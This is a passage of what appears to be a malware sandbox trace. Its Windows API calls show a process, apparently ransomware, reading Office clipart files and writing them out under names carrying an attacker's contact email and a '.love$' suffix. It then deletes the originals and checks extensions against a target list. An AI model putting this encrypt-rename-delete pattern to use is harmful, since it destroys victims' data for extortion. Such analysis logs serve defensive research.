office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0241.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0241.988] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.988] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0241.989] GetLastError () returned 0x0 [0241.989] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x44b0, lpOverlapped=0x0) returned 1 [0242.029] WriteFile (in: hFile=0x528, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x44c0, lpOverlapped=0x0) returned 1 [0242.031] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.031] WriteFile (in: hFile=0x528, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.031] SetEndOfFile (hFile=0x528) returned 1 [0242.032] CloseHandle (hObject=0x528) returned 1 [0242.032] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.032] SetEndOfFile (hFile=0x534) returned 1 [0242.036] CloseHandle (hObject=0x534) returned 1 [0242.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0242.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 1 [0242.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0242.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0242.037] lstrlenW (lpString=".doc") returned 4 [0242.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.037] lstrlenW (lpString=".docx") returned 5 [0242.037] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.037] lstrlenW (lpString=".pdf") returned 4 [0242.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.038] lstrlenW (lpString=".xls") returned 4 [0242.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.038] lstrlenW (lpString=".xlsx") returned 5 [0242.038] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.038] lstrlenW (lpString=".ppt") returned 4 [0242.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0242.038] lstrlenW (lpString=".zip") returned 4 [0242.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.038] lstrlenW (lpString=".rar") returned 4 [0242.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.038] lstrlenW (lpString=".bz2") returned 4 [0242.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.038] lstrlenW (lpString=".7z") returned 3 [0242.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0242.038] lstrlenW (lpString=".dbf") returned 4 [0242.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0242.038] lstrlenW (lpString=".1cd") returned 4 [0242.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0242.038] lstrlenW (lpString=".jpg") returned 4 [0242.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0242.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0242.038] lstrlenW (lpString=".doc") returned 4 [0242.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.039] lstrlenW (lpString=".docx") returned 5 [0242.039] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.039] lstrlenW (lpString=".pdf") returned 4 [0242.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.039] lstrlenW (lpString=".xls") returned 4 [0242.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.039] lstrlenW (lpString=".xlsx") returned 5 [0242.039] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.039] lstrlenW (lpString=".ppt") returned 4 [0242.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0242.039] lstrlenW (lpString=".zip") returned 4 [0242.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.039] lstrlenW (lpString=".rar") returned 4 [0242.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.039] lstrlenW (lpString=".bz2") returned 4 [0242.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.039] lstrlenW (lpString=".7z") returned 3 [0242.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0242.039] lstrlenW (lpString=".dbf") returned 4 [0242.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0242.039] lstrlenW (lpString=".1cd") returned 4 [0242.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0242.039] lstrlenW (lpString=".jpg") returned 4 [0242.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.040] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0242.040] lstrlenW (lpString="DD00413_.WMF") returned 12 [0242.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0242.041] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=42992) returned 1 [0242.041] CloseHandle (hObject=0x534) returned 1 [0242.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x220 [0242.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0242.042] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.042] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0242.043] GetLastError () returned 0x0 [0242.043] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xa7f0, lpOverlapped=0x0) returned 1 [0242.148] WriteFile (in: hFile=0x528, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xa800, lpOverlapped=0x0) returned 1 [0242.150] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.150] WriteFile (in: hFile=0x528, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.150] SetEndOfFile (hFile=0x528) returned 1 [0242.150] CloseHandle (hObject=0x528) returned 1 [0242.150] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.151] SetEndOfFile (hFile=0x534) returned 1 [0242.155] CloseHandle (hObject=0x534) returned 1 [0242.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0242.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 1 [0242.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0242.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0242.156] lstrlenW (lpString=".doc") returned 4 [0242.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.156] lstrlenW (lpString=".docx") returned 5 [0242.156] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.157] lstrlenW (lpString=".pdf") returned 4 [0242.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.157] lstrlenW (lpString=".xls") returned 4 [0242.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.157] lstrlenW (lpString=".xlsx") returned 5 [0242.157] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.157] lstrlenW (lpString=".ppt") returned 4 [0242.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0242.157] lstrlenW (lpString=".zip") returned 4 [0242.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.157] lstrlenW (lpString=".rar") returned 4 [0242.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.157] lstrlenW (lpString=".bz2") returned 4 [0242.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.157] lstrlenW (lpString=".7z") returned 3 [0242.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0242.157] lstrlenW (lpString=".dbf") returned 4 [0242.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0242.157] lstrlenW (lpString=".1cd") returned 4 [0242.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0242.157] lstrlenW (lpString=".jpg") returned 4 [0242.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0242.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0242.158] lstrlenW (lpString=".doc") returned 4 [0242.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.158] lstrlenW (lpString=".docx") returned 5 [0242.158] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.158] lstrlenW (lpString=".pdf") returned 4 [0242.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.158] lstrlenW (lpString=".xls") returned 4 [0242.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.158] lstrlenW (lpString=".xlsx") returned 5 [0242.158] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.158] lstrlenW (lpString=".ppt") returned 4 [0242.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0242.158] lstrlenW (lpString=".zip") returned 4 [0242.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.158] lstrlenW (lpString=".rar") returned 4 [0242.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.158] lstrlenW (lpString=".bz2") returned 4 [0242.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.158] lstrlenW (lpString=".7z") returned 3 [0242.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0242.158] lstrlenW (lpString=".dbf") returned 4 [0242.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0242.158] lstrlenW (lpString=".1cd") returned 4 [0242.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0242.158] lstrlenW (lpString=".jpg") returned 4 [0242.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.159] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0242.159] lstrlenW (lpString="DD00448_.WMF") returned 12 [0242.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0242.160] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=2952) returned 1 [0242.160] CloseHandle (hObject=0x534) returned 1 [0242.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x220 [0242.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0242.161] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.161] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0242.162] GetLastError () returned 0x0 [0242.162] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xb88, lpOverlapped=0x0) returned 1 [0242.365] WriteFile (in: hFile=0x528, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xb90, lpOverlapped=0x0) returned 1 [0242.366] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.367] WriteFile (in: hFile=0x528, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.367] SetEndOfFile (hFile=0x528) returned 1 [0242.367] CloseHandle (hObject=0x528) returned 1 [0242.367] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.367] SetEndOfFile (hFile=0x534) returned 1 [0242.374] CloseHandle (hObject=0x534) returned 1 [0242.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0242.375] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 1 [0242.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0242.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0242.376] lstrlenW (lpString=".doc") returned 4 [0242.376] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.376] lstrlenW (lpString=".docx") returned 5 [0242.376] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.376] lstrlenW (lpString=".pdf") returned 4 [0242.376] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.376] lstrlenW (lpString=".xls") returned 4 [0242.376] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.376] lstrlenW (lpString=".xlsx") returned 5 [0242.376] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.376] lstrlenW (lpString=".ppt") returned 4 [0242.376] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0242.376] lstrlenW (lpString=".zip") returned 4 [0242.376] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.377] lstrlenW (lpString=".rar") returned 4 [0242.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.377] lstrlenW (lpString=".bz2") returned 4 [0242.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.377] lstrlenW (lpString=".7z") returned 3 [0242.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0242.377] lstrlenW (lpString=".dbf") returned 4 [0242.377] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0242.377] lstrlenW (lpString=".1cd") returned 4 [0242.377] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0242.377] lstrlenW (lpString=".jpg") returned 4 [0242.377] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0242.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0242.377] lstrlenW (lpString=".doc") returned 4 [0242.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.377] lstrlenW (lpString=".docx") returned 5 [0242.377] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.377] lstrlenW (lpString=".pdf") returned 4 [0242.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.377] lstrlenW (lpString=".xls") returned 4 [0242.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.377] lstrlenW (lpString=".xlsx") returned 5 [0242.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.378] lstrlenW (lpString=".ppt") returned 4 [0242.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0242.378] lstrlenW (lpString=".zip") returned 4 [0242.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.378] lstrlenW (lpString=".rar") returned 4 [0242.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.378] lstrlenW (lpString=".bz2") returned 4 [0242.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.378] lstrlenW (lpString=".7z") returned 3 [0242.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0242.378] lstrlenW (lpString=".dbf") returned 4 [0242.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0242.378] lstrlenW (lpString=".1cd") returned 4 [0242.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0242.378] lstrlenW (lpString=".jpg") returned 4 [0242.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.378] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0242.378] lstrlenW (lpString="DD01015_.WMF") returned 12 [0242.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0242.379] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=2226) returned 1 [0242.379] CloseHandle (hObject=0x534) returned 1 [0242.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x220 [0242.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0242.380] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 